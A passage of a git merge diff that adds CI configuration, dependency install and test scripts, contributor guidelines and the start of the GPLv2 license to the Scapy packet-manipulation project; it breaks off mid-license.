Merge remote-tracking branch 'aosp/upstream-master'

Change-Id: I8d3261c64ad25be6429ff7960ce3a90ee58714a1
diff --git a/.appveyor.yml b/.appveyor.yml
new file mode 100644
index 0000000..5f7f0fc
--- /dev/null
+++ b/.appveyor.yml
@@ -0,0 +1,54 @@
+environment:
+
+  # Python versions that will be tested
+  # Note: it defines variables that can be used later
+  matrix:
+    - PYTHON: "C:\\Python27-x64"
+      PYTHON_VERSION: "2.7.x"
+      PYTHON_ARCH: "64"
+    - PYTHON: "C:\\Python36-x64"
+      PYTHON_VERSION: "3.6.x"
+      PYTHON_ARCH: "64"
+
+# There is no build phase for Scapy
+build: off
+
+install:
+  # Install the npcap, windump and wireshark suites
+  - ps: .\.appveyor\InstallNpcap.ps1
+  - ps: .\.appveyor\InstallWindump.ps1
+  - choco install -y wireshark
+  # Install Python modules
+  - "%PYTHON%\\python -m pip install cryptography coverage mock"
+  - set PATH="%PYTHON%\\Scripts\\;%PATH%"
+
+test_script:
+  # Set environment variables
+  - set PYTHONPATH=%APPVEYOR_BUILD_FOLDER%
+  - set PATH="%APPVEYOR_BUILD_FOLDER%;C:\Program Files\Wireshark\;%PATH%"
+
+  # Disable open_ssl client tests
+  - set ARGS=-K open_ssl_client
+  # Disable broken Python 3 tests if Python3 is detected
+  - if not x%PYTHON:3=%==x%PYTHON% set ARGS=%ARGS% -K FIXME_py3
+  
+  # Main unit tests
+  - "%PYTHON%\\python -m coverage run --parallel-mode bin\\UTscapy -f text -t test\\regression.uts -F -K mock_read_routes6_bsd -K ipv6 || exit /b 42"
+  - 'del test\regression.uts'
+
+  # Secondary and contrib unit tests
+  - 'del test\bpf.uts test\linux.uts test\sendsniff.uts' # Don't bother with OS dependent regression tests
+  - "%PYTHON%\\python -m coverage run --parallel-mode bin\\UTscapy -c test\\configs\\windows.utsc %ARGS% || exit /b 42"
+  
+  # TLS unit tests
+  # Note: due to a multiprocessing bug, we got to be in the UTscapy.py folder and call it directly
+  - 'cd scapy/tools'
+  - "%PYTHON%\\python -m coverage run --concurrency=multiprocessing UTscapy.py -f text -t ..\\..\\test\\tls\\tests_tls_netaccess.uts -F -P \"sys.path.append(os.path.abspath('../../test/tls'))\" %ARGS% || exit /b 42"
+  - 'cd ../../'
+
+after_test:
+  # Install & run codecov
+  - "%PYTHON%\\python -m pip install codecov"
+  - "SET PATH=%PYTHON%\\Scripts\\;%PATH%"
+  - "coverage combine ./"
+  - codecov
diff --git a/.appveyor/InstallNpcap.ps1 b/.appveyor/InstallNpcap.ps1
new file mode 100644
index 0000000..4859548
--- /dev/null
+++ b/.appveyor/InstallNpcap.ps1
@@ -0,0 +1,19 @@
+# Config
+$urlPath = "https://nmap.org/npcap/dist/npcap-0.90.exe"
+$checksum = "0477a42a9c54f31a7799fb3ee0537826041730f462abfc066fe36d81c50721a7"
+
+############
+############
+# Download the file
+wget $urlPath -UseBasicParsing -OutFile $PSScriptRoot"\npcap.exe"
+# Now let's check its checksum
+$_chksum = $(CertUtil -hashfile $PSScriptRoot"\npcap.exe" SHA256)[1] -replace " ",""
+if ($_chksum -ne $checksum){
+    echo "Checksums does NOT match !"
+    exit
+} else {
+    echo "Checksums matches !"
+}
+# Run installer
+Start-Process $PSScriptRoot"\npcap.exe" -ArgumentList "/loopback_support=yes /S" -wait
+echo "Npcap installation completed"
\ No newline at end of file
diff --git a/.appveyor/InstallWindump.ps1 b/.appveyor/InstallWindump.ps1
new file mode 100644
index 0000000..0ceb3d2
--- /dev/null
+++ b/.appveyor/InstallWindump.ps1
@@ -0,0 +1,28 @@
+# Config
+$urlPath = "https://github.com/hsluoyz/WinDump/releases/download/v0.2/WinDump-for-Npcap-0.2.zip"
+$checksum = "9182934bb822511236b4112ddaa006c95c86c864ecc5c2e3c355228463e43bf2"
+
+############
+############
+# Download the file
+wget $urlPath -UseBasicParsing -OutFile $PSScriptRoot"\npcap.zip"
+Add-Type -AssemblyName System.IO.Compression.FileSystem
+function Unzip
+{
+    param([string]$zipfile, [string]$outpath)
+
+    [System.IO.Compression.ZipFile]::ExtractToDirectory($zipfile, $outpath)
+}
+Unzip $PSScriptRoot"\npcap.zip" $PSScriptRoot"\npcap"
+Remove-Item $PSScriptRoot"\npcap.zip"
+# Now let's check its checksum
+$_chksum = $(CertUtil -hashfile $PSScriptRoot"\npcap\x64\WinDump.exe" SHA256)[1] -replace " ",""
+if ($_chksum -ne $checksum){
+    echo "Checksums does NOT match !"
+    exit
+} else {
+    echo "Checksums matches !"
+}
+# Finally, move it and remove tmp files
+Move-Item -Force $PSScriptRoot"\npcap\x64\WinDump.exe" "C:\Windows\System32\windump.exe"
+Remove-Item $PSScriptRoot"\npcap" -recurse
diff --git a/.codecov.yml b/.codecov.yml
new file mode 100644
index 0000000..13cea13
--- /dev/null
+++ b/.codecov.yml
@@ -0,0 +1,31 @@
+codecov:
+  notify:
+    # Do not send notifications when CI fails
+    require_ci_to_pass: true
+
+comment:
+  # Define codevov comments behavior and content
+  behavior: default
+  layout: header, diff, tree
+  require_changes: false
+
+coverage:
+  # Define coverage range and precision
+  precision: 2
+  range: "70..100"
+  round: down
+  status:
+    # Only consider changes to the whole project
+    project: true
+    patch: false
+    changes: false
+
+parsers:
+  gcov:
+    branch_detection:
+      conditional: true
+      loop: true
+      macro: false
+      method: false
+  javascript:
+    enable_partials: yes
diff --git a/.coveragerc b/.coveragerc
new file mode 100644
index 0000000..e279ef3
--- /dev/null
+++ b/.coveragerc
@@ -0,0 +1,13 @@
+[run]
+omit =
+    # Travis specific path
+    /home/travis/virtualenv/python*
+    # Python specific path
+    /usr/local/lib/python2.7/*
+    # Scapy specific paths
+    test/*
+    bin/*
+    scapy/tools/*
+    # Libraries
+    scapy/modules/six.py
+    scapy/modules/winpcapy.py
diff --git a/.gitattributes b/.gitattributes
new file mode 100644
index 0000000..7ddf3f3
--- /dev/null
+++ b/.gitattributes
@@ -0,0 +1,3 @@
+scapy/__init__.py	export-subst
+* text=auto
+*.bat text eol=crlf 
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..04d04b2
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,9 @@
+*.pyc
+*.pyo
+dist/
+build/
+MANIFEST
+*.egg-info/
+scapy/VERSION
+test/*.html
+doc/scapy/_build
diff --git a/.travis.yml b/.travis.yml
new file mode 100644
index 0000000..69ef2aa
--- /dev/null
+++ b/.travis.yml
@@ -0,0 +1,97 @@
+language: python
+
+matrix:
+    include:
+        # Run as a regular user
+        - os: linux
+          python: 2.7
+          env:
+            - SCAPY_COVERAGE=yes
+
+        - os: linux
+          python: 3.3
+          env:
+            - SCAPY_COVERAGE=yes
+
+        - os: linux
+          python: 3.4
+          env:
+            - SCAPY_COVERAGE=yes
+
+        - os: linux
+          python: 3.5
+          env:
+            - SCAPY_COVERAGE=yes
+
+        - os: linux
+          python: 3.6
+          env:
+            - SCAPY_COVERAGE=yes
+
+        - os: linux
+          python: pypy
+          env:
+            - SCAPY_COVERAGE=yes
+
+        - os: osx
+          language: generic
+          env:
+            - SCAPY_COVERAGE=yes
+
+        - os: osx
+          language: generic
+          env:
+            - SCAPY_USE_PCAPDNET=yes SCAPY_COVERAGE=yes
+
+        # Run as root
+        - os: linux
+          sudo: required
+          python: 2.7
+          env:
+            - SCAPY_SUDO=sudo SCAPY_COVERAGE=yes
+
+        - os: linux
+          sudo: required
+          python: 3.3
+          env:
+            - SCAPY_SUDO=sudo SCAPY_COVERAGE=yes
+
+        - os: linux
+          sudo: required
+          python: 3.4
+          env:
+            - SCAPY_SUDO=sudo SCAPY_COVERAGE=yes
+
+        - os: linux
+          sudo: required
+          python: 3.5
+          env:
+            - SCAPY_SUDO=sudo SCAPY_COVERAGE=yes
+
+        - os: linux
+          sudo: required
+          python: 3.6
+          env:
+            - SCAPY_SUDO=sudo SCAPY_COVERAGE=yes
+
+        - os: linux
+          sudo: required
+          python: 2.7
+          virtualenv:
+            system_site_packages: true
+          env:
+            - SCAPY_SUDO=sudo SCAPY_USE_PCAPDNET=yes SCAPY_COVERAGE=yes
+
+        - os: osx
+          language: generic
+          env:
+            - SCAPY_SUDO=sudo SCAPY_COVERAGE=yes
+
+        - os: osx
+          language: generic
+          env:
+            - SCAPY_SUDO=sudo SCAPY_USE_PCAPDNET=yes SCAPY_COVERAGE=yes
+
+install: bash .travis/install.sh
+
+script: bash .travis/test.sh
diff --git a/.travis/install.sh b/.travis/install.sh
new file mode 100644
index 0000000..f5e8430
--- /dev/null
+++ b/.travis/install.sh
@@ -0,0 +1,69 @@
+PIP=`which pip || (python --version 2>&1 | grep -q 'Python 2' && which pip2) || (python --version 2>&1 | grep -q 'Python 3' && which pip3)`
+
+# Install dependencies using pip
+if [ -z "$SCAPY_SUDO" -o "$SCAPY_SUDO" = "false" ]
+then
+  SCAPY_SUDO=""
+  if [ "$TRAVIS_OS_NAME" = "osx" ]
+  then
+    PIP_INSTALL_FLAGS="--user"
+  fi
+else
+  SCAPY_SUDO="$SCAPY_SUDO -H"
+fi
+
+$SCAPY_SUDO $PIP install $PIP_INSTALL_FLAGS -U mock
+
+if python --version 2>&1 | grep -q '^Python 3\.[0123]'
+then
+  # cryptography with Python 3 < 3.4 requires enum34
+  $SCAPY_SUDO $PIP install $PIP_INSTALL_FLAGS -U enum34
+fi
+
+if ! python --version 2>&1 | grep -q PyPy; then
+  # cryptography requires PyPy >= 2.6, Travis CI uses 2.5.0
+  $SCAPY_SUDO $PIP install $PIP_INSTALL_FLAGS -U cryptography
+fi
+
+# Install coverage
+if [ "$SCAPY_COVERAGE" = "yes" ]
+then
+  $SCAPY_SUDO $PIP install $PIP_INSTALL_FLAGS -U coverage
+  $SCAPY_SUDO $PIP install $PIP_INSTALL_FLAGS -U PyX
+  $SCAPY_SUDO $PIP install $PIP_INSTALL_FLAGS -U codecov
+fi
+
+# Install pcap & dnet
+if [ ! -z $SCAPY_USE_PCAPDNET ]
+then
+  if [ "$TRAVIS_OS_NAME" = "linux" ]
+  then
+    $SCAPY_SUDO apt-get -qy install libdumbnet-dev libpcap-dev
+    # $SCAPY_SUDO $PIP install $PIP_INSTALL_FLAGS -U pypcap  ## sr(timeout) HS
+    # $SCAPY_SUDO $PIP install $PIP_INSTALL_FLAGS -U pcapy   ## sniff HS
+    # $SCAPY_SUDO $PIP install $PIP_INSTALL_FLAGS -U pylibpcap  ## won't install
+    $SCAPY_SUDO $PIP install $PIP_INSTALL_FLAGS -U http://http.debian.net/debian/pool/main/p/python-libpcap/python-libpcap_0.6.4.orig.tar.gz
+    $SCAPY_SUDO $PIP install $PIP_INSTALL_FLAGS -U pydumbnet
+    # wget https://pypi.python.org/packages/71/60/15b9e0005bf9062bdc04fc8129b4cdb01cc4189a75719441ff2e23e55b15/dnet-real-1.12.tar.gz
+    # tar zxf dnet-real-1.12.tar.gz
+    # cd dnet-real-1.12
+    # sed -i 's/dnet\.h/dumbnet.h/; s/|Py_TPFLAGS_CHECKTYPES//g' dnet.c
+    # sed -i 's#dnet_extobj = \[\]#dnet_extobj = \["/usr/lib/libdumbnet.so"\]#' setup.py
+    # $SCAPY_SUDO $PIP install $PIP_INSTALL_FLAGS -U .
+    # cd ../
+  elif [ "$TRAVIS_OS_NAME" = "osx" ]
+  then
+    mkdir -p /Users/travis/Library/Python/2.7/lib/python/site-packages
+    echo 'import site; site.addsitedir("/usr/local/lib/python2.7/site-packages")' >> /Users/travis/Library/Python/2.7/lib/python/site-packages/homebrew.pth
+ 
+    brew update
+    brew install --with-python libdnet
+    brew install .travis/pylibpcap.rb
+  fi
+fi
+
+# Install wireshark data
+if [ ! -z "$SCAPY_SUDO" ] && [ "$TRAVIS_OS_NAME" = "linux" ]
+then
+  $SCAPY_SUDO apt-get -qy install openssl libwireshark-data
+fi
diff --git a/.travis/pylibpcap.rb b/.travis/pylibpcap.rb
new file mode 100644
index 0000000..c1104c8
--- /dev/null
+++ b/.travis/pylibpcap.rb
@@ -0,0 +1,10 @@
+class Pylibpcap <Formula
+  url "http://downloads.sourceforge.net/project/pylibpcap/pylibpcap/0.6.4/pylibpcap-0.6.4.tar.gz"
+  homepage "http://pylibpcap.sourceforge.net/"
+  sha256 "cfc365f2707a7986496acacf71789fef932a5ddbeaa36274cc8f9834831ca3b1"
+ 
+  def install
+    system "python", *Language::Python.setup_install_args(prefix)
+  end
+end
+
diff --git a/.travis/test.sh b/.travis/test.sh
new file mode 100644
index 0000000..46c1ef4
--- /dev/null
+++ b/.travis/test.sh
@@ -0,0 +1,134 @@
+# Report installed versions
+echo "### INSTALLED VERSIONS ###"
+python -c 'import sys; print("sys.path:" , sys.path)'
+for DEPENDENCY in "six" "cryptography" "mock" "pcap" "dnet" "coverage"
+do
+  python -c 'import '$DEPENDENCY'; print("'$DEPENDENCY': "+str(getattr('$DEPENDENCY', "__version__", "no __version__ attribute")))'
+  echo "----"
+done
+
+# Dump environment variables
+echo "SCAPY_SUDO=" $SCAPY_SUDO
+echo "TRAVIS_OS_NAME=" $TRAVIS_OS_NAME
+
+# Dump Scapy config
+python --version
+python -c "from scapy.all import *; print(conf)"
+
+# Don't run tests that require root privileges
+if [ -z "$SCAPY_SUDO" -o "$SCAPY_SUDO" = "false" ]
+then
+  UT_FLAGS="-K netaccess -K needs_root -K manufdb"
+  SCAPY_SUDO=""
+else
+  SCAPY_SUDO="$SCAPY_SUDO -H"
+fi
+
+if [ "$SCAPY_USE_PCAPDNET" = "yes" ]
+then
+  UT_FLAGS+=" -K not_pcapdnet"
+fi
+# IPv6 is not available yet on travis
+UT_FLAGS+=" -K ipv6"
+
+# AES-CCM, ChaCha20Poly1305 and X25519 were added to Cryptography v2.0
+# but the minimal version mandated by scapy is v1.7
+UT_FLAGS+=" -K crypto_advanced"
+
+if python --version 2>&1 | grep -q PyPy
+then
+  # cryptography requires PyPy >= 2.6, Travis CI uses 2.5.0
+  UT_FLAGS+=" -K crypto -K not_pypy"
+fi
+
+if python --version 2>&1 | grep -q '^Python 3\.'
+then
+  # Some Python 3 tests currently fail. They should be tracked and
+  # fixed.
+  UT_FLAGS+=" -K FIXME_py3"
+fi
+
+if python --version 2>&1 | grep -q '^Python 3\.[012345]'
+then
+  # Python 3 < 3.6 has weird behavior with random.seed()
+  UT_FLAGS+=" -K random_weird_py3"
+fi
+
+if python --version 2>&1 | grep -q '^Python 3\.[0123]'
+then
+  # cryptography with Python 3 < 3.4 requires 3.3.7, Travis provides 3.3.6
+  UT_FLAGS+=" -K crypto"
+fi
+
+# Set PATH
+## /Users/travis/Library/Python/2.7/bin: pip when non-root on osx
+for _path in /sbin /usr/sbin /usr/local/sbin /Users/travis/Library/Python/2.7/bin; do
+  [ -d "$_path" ] && echo "$PATH" | grep -qvE "(^|:)$_path(:|$)" && export PATH="$PATH:$_path"
+done
+
+# Create a fake Python executable
+if [ "$SCAPY_COVERAGE" = "yes" ]
+then
+  echo '#!/bin/bash' > test/python
+  echo "[ \"\$*\" = \"--version\" ] && echo \"`python --version`\" && exit 0" >> test/python
+  echo "`which coverage` run --rcfile=../.coveragerc --concurrency=multiprocessing -a \$*" >> test/python
+  chmod +x test/python
+
+  # Copy the fake Python interpreter to bypass /etc/sudoers rules on Ubuntu
+  if [ -n "$SCAPY_SUDO" ]
+  then
+    $SCAPY_SUDO cp test/python /usr/local/sbin/
+    PYTHON=/usr/local/sbin/python
+  else
+    PATH="`pwd`/test":$PATH
+    PYTHON="`pwd`/test/python"
+  fi
+else
+  PYTHON="`which python`"
+fi
+
+# Do we have tcpdump or thsark?
+which tcpdump >/dev/null 2>&1 || UT_FLAGS+=" -K tcpdump"
+which tshark >/dev/null 2>&1 || UT_FLAGS+=" -K tshark"
+
+if [ -n "$SCAPY_SUDO" ]
+then
+  SCAPY_SUDO="$SCAPY_SUDO --preserve-env"
+fi
+
+# Dump Environment (so that we can check PATH, UT_FLAGS, etc.)
+set
+
+# Run unit tests
+cd test/
+
+if [ "$TRAVIS_OS_NAME" = "osx" ]
+then
+  if [ -z "$SCAPY_USE_PCAPDNET" ]
+  then
+    PYTHON="$PYTHON" $SCAPY_SUDO ./run_tests -q -F -t bpf.uts $UT_FLAGS || exit $?
+  fi
+  UT_FLAGS+=" -K manufdb -K linux"
+fi
+
+if [ "$TRAVIS_OS_NAME" = "linux" ]
+then
+  UT_FLAGS+=" -K osx"
+fi
+
+# Run all normal and contrib tests
+PYTHON="$PYTHON" $SCAPY_SUDO ./run_tests -c ./configs/travis.utsc -T "bpf.uts" -T "mock_windows.uts" $UT_FLAGS || exit $?
+
+# Run unit tests with openssl if we have root privileges
+if [ "$TRAVIS_OS_NAME" = "linux" ] && [ -n "$SCAPY_SUDO" ]
+then
+  echo "Running TLS netaccess tests"
+  PYTHON="$PYTHON" $SCAPY_SUDO ./run_tests -q -F -t tls/tests_tls_netaccess.uts $UT_FLAGS || exit $?
+else
+  echo "NOT running TLS netaccess tests"
+fi
+
+if [ "$SCAPY_COVERAGE" = "yes" ]; then
+  coverage combine ./
+  codecov
+fi
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
new file mode 100644
index 0000000..e8ca16a
--- /dev/null
+++ b/CONTRIBUTING.md
@@ -0,0 +1,142 @@
+# How to contribute
+
+Contributors are essential to Scapy (as they are to most open source
+projects). Here is some advice to help you help the project!
+
+## Project objectives
+
+We try to keep Scapy as powerful as possible, to support as many
+protocols and platforms as possible, to keep and make the code (and
+the commit history) as clean as possible.
+
+Since Scapy can be slow and memory consuming, we try to limit CPU and
+memory usage, particularly in parts of the code often called.
+
+## What to contribute?
+
+You want to spend to time working on Scapy but have no (or little)
+idea what to do? You can look for open issues
+[labeled "contributions wanted"](https://github.com/secdev/scapy/labels/contributions%20wanted), or look at the [contributions roadmap](https://github.com/secdev/scapy/issues/399)
+
+If you have any ideas of useful contributions that you cannot (or do
+not want to) do yourself, open an issue and use the label
+"contributions wanted".
+
+Once you have chosen a contribution, open an issue to let other people
+know you're working on it (or assign the existing issue to yourself)
+and track your progress. You might want to ask whether you're working
+in an appropriate direction, to avoid the frustration of seeing your
+contribution rejected after a lot of work.
+
+## Reporting issues
+
+### Questions
+
+It is OK so submit issues to ask questions (more than OK,
+encouraged). There is a label "question" that you can use for that.
+
+### Bugs
+
+If you have installed Scapy through a package manager (from your Linux
+or BSD system, from PyPI, etc.), please get and install the current
+development code, and check that the bug still exists before
+submitting an issue.
+
+Please label your issues "bug".
+
+If you're not sure whether a behavior is a bug or not, submit an issue
+and ask, don't be shy!
+
+### Enhancements / feature requests
+
+If you want a feature in Scapy, but cannot implement it yourself or
+want some hints on how to do that, open an issue with label
+"enhancement".
+
+Explain if possible the API you would like to have (e.g., give examples
+of function calls, packet creations, etc.).
+
+## Submitting pull requests
+
+### Coding style & conventions
+
+First, Scapy "legacy" code contains a lot of code that do not comply
+with the following recommendations, but we try to comply with the some
+guidelines for new code.
+
+  - The code should be PEP-8 compliant; you can check your code with
+    [pep8](https://pypi.python.org/pypi/pep8).
+  - [Pylint](http://www.pylint.org/) can help you write good Python
+    code (even if respecting Pylint rules is sometimes either too hard
+    or even undesirable; human brain needed!).
+  - [Google Python Style Guide](https://google.github.io/styleguide/pyguide.html)
+    is a nice read!
+  - Avoid creating unnecessary `list` objects, particularly if they
+    can be huge (e.g., when possible, use `scapy.modules.six.range()` instead of
+    `range()`, `for line in fdesc` instead of `for line in
+    fdesc.readlines()`; more generally prefer generators over lists).
+
+### Tests
+
+Please consider adding tests for your new features or that trigger the
+bug you are fixing. This will prevent a regression from being
+unnoticed.
+
+### New protocols
+
+New protocols can go either in `scapy/layers` or to
+`scapy/contrib`. Protocols in `scapy/layers` should be usually found
+on common networks, while protocols in `scapy/contrib` should be
+uncommon or specific.
+
+### Features
+
+Protocol-related features should be implemented within the same module
+as the protocol layers(s) (e.g., `traceroute()` is implemented in
+`scapy/layers/inet.py`).
+
+Other features may be implemented in a module (`scapy/modules`) or a
+contribution (`scapy/contrib`).
+
+### Core
+
+If you contribute to Scapy's core (e.g., `scapy/base_classes.py`,
+`scapy/packet.py`, etc.), please be very careful with performances and
+memory footprint, as it is easy to write Python code that wastes
+memory or CPU cycles.
+
+As an example, Packet().__init__() is called each time a **layer** is
+parsed from a string (during a network capture or a PCAP file
+read). Adding inefficient code here will have a disastrous effect on
+Scapy's performances.
+
+### Python 2 and 3 compatibility
+
+The project aims to provide code that works both on Python 2 and Python 3. Therefore, some rules need to be apply to achieve compatibility:
+- byte-string must be defined as `b"\x00\x01\x02"`
+- exceptions must comply with the new Python 3 format: `except SomeError as e:`
+- lambdas must be written using a single argument when using tuples: use `lambda x_y: x_y[0] + f(x_y[1])` instead of `lambda (x, y): x + f(y)`.
+- use int instead of long
+- use list comprehension instead of map() and filter()
+- use scapy.modules.six.range instead of xrange and range
+- use scapy.modules.six.itervalues(dict) instead of dict.values() or dict.itervalues()
+- use scapy.modules.six.string_types instead of basestring
+- `__bool__ = __nonzero__` must be used when declaring `__nonzero__` methods
+- `io.BytesIO` must be used instead of `StringIO` when using bytes
+- `__cmp__` must not be used.
+- UserDict should be imported via `six.UserDict`
+
+### Code review
+
+Maintainers tend to be picky, and you might feel frustrated that your
+code (which is perfectly working in your use case) is not merged
+faster.
+
+Please don't be offended, and keep in mind that maintainers are
+concerned about code maintainability and readability, commit history
+(we use the history a lot, for example to find regressions or
+understand why certain decisions have been made), performances,
+integration in Scapy, API consistency (so that someone who knows how
+to use Scapy will know how to use your code), etc.
+
+**Thanks for reading, happy hacking!**
diff --git a/LICENSE b/LICENSE
new file mode 100644
index 0000000..d159169
--- /dev/null
+++ b/LICENSE
@@ -0,0 +1,339 @@
+                    GNU GENERAL PUBLIC LICENSE
+                       Version 2, June 1991
+
+ Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
+ 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                            Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+License is intended to guarantee your freedom to share and change free
+software--to make sure the software is free for all its users.  This
+General Public License applies to most of the Free Software
+Foundation's software and to any other program whose authors commit to
+using it.  (Some other Free Software Foundation software is covered by
+the GNU Lesser General Public License instead.)  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+this service if you wish), that you receive source code or can get it
+if you want it, that you can change the software or use pieces of it
+in new free programs; and that you know you can do these things.
+
+  To protect your rights, we need to make restrictions that forbid
+anyone to deny you these rights or to ask you to surrender the rights.
+These restrictions translate to certain responsibilities for you if you
+distribute copies of the software, or if you modify it.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must give the recipients all the rights that
+you have.  You must make sure that they, too, receive or can get the
+source code.  And you must show them these terms so they know their
+rights.
+
+  We protect your rights with two steps: (1) copyright the software, and
+(2) offer you this license which gives you legal permission to copy,
+distribute and/or modify the software.
+
+  Also, for each author's protection and ours, we want to make certain
+that everyone understands that there is no warranty for this free
+software.  If the software is modified by someone else and passed on, we
+want its recipients to know that what they have is not the original, so
+that any problems introduced by others will not reflect on the original
+authors' reputations.
+
+  Finally, any free program is threatened constantly by software
+patents.  We wish to avoid the danger that redistributors of a free
+program will individually obtain patent licenses, in effect making the
+program proprietary.  To prevent this, we have made it clear that any
+patent must be licensed for everyone's free use or not licensed at all.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+                    GNU GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. This License applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed
+under the terms of this General Public License.  The "Program", below,
+refers to any such program or work, and a "work based on the Program"
+means either the Program or any derivative work under copyright law:
+that is to say, a work containing the Program or a portion of it,
+either verbatim or with modifications and/or translated into another
+language.  (Hereinafter, translation is included without limitation in
+the term "modification".)  Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running the Program is not restricted, and the output from the Program
+is covered only if its contents constitute a work based on the
+Program (independent of having been made by running the Program).
+Whether that is true depends on what the Program does.
+
+  1. You may copy and distribute verbatim copies of the Program's
+source code as you receive it, in any medium, provided that you
+conspicuously and appropriately publish on each copy an appropriate
+copyright notice and disclaimer of warranty; keep intact all the
+notices that refer to this License and to the absence of any warranty;
+and give any other recipients of the Program a copy of this License
+along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and
+you may at your option offer warranty protection in exchange for a fee.
+
+  2. You may modify your copy or copies of the Program or any portion
+of it, thus forming a work based on the Program, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+    a) You must cause the modified files to carry prominent notices
+    stating that you changed the files and the date of any change.
+
+    b) You must cause any work that you distribute or publish, that in
+    whole or in part contains or is derived from the Program or any
+    part thereof, to be licensed as a whole at no charge to all third
+    parties under the terms of this License.
+
+    c) If the modified program normally reads commands interactively
+    when run, you must cause it, when started running for such
+    interactive use in the most ordinary way, to print or display an
+    announcement including an appropriate copyright notice and a
+    notice that there is no warranty (or else, saying that you provide
+    a warranty) and that users may redistribute the program under
+    these conditions, and telling the user how to view a copy of this
+    License.  (Exception: if the Program itself is interactive but
+    does not normally print such an announcement, your work based on
+    the Program is not required to print an announcement.)
+
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Program,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works.  But when you
+distribute the same sections as part of a whole which is a work based
+on the Program, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote it.
+
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Program.
+
+In addition, mere aggregation of another work not based on the Program
+with the Program (or with a work based on the Program) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+  3. You may copy and distribute the Program (or a work based on it,
+under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you also do one of the following:
+
+    a) Accompany it with the complete corresponding machine-readable
+    source code, which must be distributed under the terms of Sections
+    1 and 2 above on a medium customarily used for software interchange; or,
+
+    b) Accompany it with a written offer, valid for at least three
+    years, to give any third party, for a charge no more than your
+    cost of physically performing source distribution, a complete
+    machine-readable copy of the corresponding source code, to be
+    distributed under the terms of Sections 1 and 2 above on a medium
+    customarily used for software interchange; or,
+
+    c) Accompany it with the information you received as to the offer
+    to distribute corresponding source code.  (This alternative is
+    allowed only for noncommercial distribution and only if you
+    received the program in object code or executable form with such
+    an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for
+making modifications to it.  For an executable work, complete source
+code means all the source code for all modules it contains, plus any
+associated interface definition files, plus the scripts used to
+control compilation and installation of the executable.  However, as a
+special exception, the source code distributed need not include
+anything that is normally distributed (in either source or binary
+form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component
+itself accompanies the executable.
+
+If distribution of executable or object code is made by offering
+access to copy from a designated place, then offering equivalent
+access to copy the source code from the same place counts as
+distribution of the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+  4. You may not copy, modify, sublicense, or distribute the Program
+except as expressly provided under this License.  Any attempt
+otherwise to copy, modify, sublicense or distribute the Program is
+void, and will automatically terminate your rights under this License.
+However, parties who have received copies, or rights, from you under
+this License will not have their licenses terminated so long as such
+parties remain in full compliance.
+
+  5. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Program or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Program (or any work based on the
+Program), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
+
+  6. Each time you redistribute the Program (or any work based on the
+Program), the recipient automatically receives a license from the
+original licensor to copy, distribute or modify the Program subject to
+these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties to
+this License.
+
+  7. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Program at all.  For example, if a patent
+license would not permit royalty-free redistribution of the Program by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under
+any particular circumstance, the balance of the section is intended to
+apply and the section as a whole is intended to apply in other
+circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system, which is
+implemented by public license practices.  Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+  8. If the distribution and/or use of the Program is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Program under this License
+may add an explicit geographical distribution limitation excluding
+those countries, so that distribution is permitted only in or among
+countries not thus excluded.  In such case, this License incorporates
+the limitation as if written in the body of this License.
+
+  9. The Free Software Foundation may publish revised and/or new versions
+of the General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Program
+specifies a version number of this License which applies to it and "any
